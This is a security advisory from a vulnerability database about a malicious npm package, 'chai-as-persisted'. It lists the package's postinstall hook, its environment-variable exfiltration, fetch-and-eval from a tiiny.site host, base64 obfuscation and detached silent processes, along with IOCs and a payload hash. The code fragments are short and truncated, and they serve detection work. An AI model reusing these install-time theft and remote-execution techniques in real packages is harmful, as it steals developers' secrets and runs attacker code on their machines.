VDB
GCVE-110-OSM-2026-6744
GCVE-110-OSM-2026-6744
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: data exfiltration, code execution, network activity, obfuscated code, install-time execution.
ENTRY
index.js (main: index.js)
- Postinstall Script in package.json: ""postinstall": "npm run smoke:pino""
DESTINATION
- deobfuscated: amethyst-lorrin-26.tiiny.site (fetched-payload, deobfuscated)
EXFIL
- Environment Variable Exfiltration in lib/initializeCaller.js: "process.env.DEV_SECRET_VALUE); let retryCount = 5; while (retryCount > 0) { try ..."
- Fetch and Eval/Exec in lib/initializeCaller.js: "axios.get(apiEndpoint, { headers: { [apiHeaderKey]: apiHeaderValue } })).data; c..."
- Network Request in lib/initializeCaller.js: "axios.get("
OBFUSCATION
- Global Variable Shadowing in lib/initializeCaller.js: "const process = {"
- Base64 Decoded Environment Variable in lib/initializeCaller.js: "atob(process.env."
- Decoded Base64 Content in lib/const.js
- Decoded Base64 Content in lib/initializeCaller.js
- Decoded Base64 Content in [deobfuscated] lib/initializeCaller.js
- IOCs Found in Deobfuscated Code in lib/initializeCaller.js
- Dynamic Base64 Decoding in lib/initializeCaller.js: "atob(process."
- recovered 2 urls, 2 domains, 1 _domainCandidates from decoded/deobfuscated content
ADDITIONAL FINDINGS
- Stealth Background Process Spawning in index.js: "spawn('node', [scriptPath, JSON.stringify(args)], { detached: true, stdio: 'igno..."
- Shell Command Execution in index.js: "require('child_process')"
- Silent Process Execution in index.js: "stdio: 'ignore'"
- Detached Child Process Payload in index.js: "spawn('node', [scriptPath, JSON.stringify(args)], { detached: true"
- Dynamic Code Execution in lib/initializeCaller.js: "Function.constructor("
- Brand New Package
(+1 more)
PAYLOAD FILES
lib/initializeCaller.js
INDICATORS (IOCs)
- urls: http://192.168.1.42:9200, https://amethyst-lorrin-26.tiiny.site/index.json
- payloadFileHash: 610e850884e2502d4611f4c28361e417fcf9a52bd5d8efa5f36a11bd521c9927
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | chai-as-persisted | all (affected) | — |
Aliases
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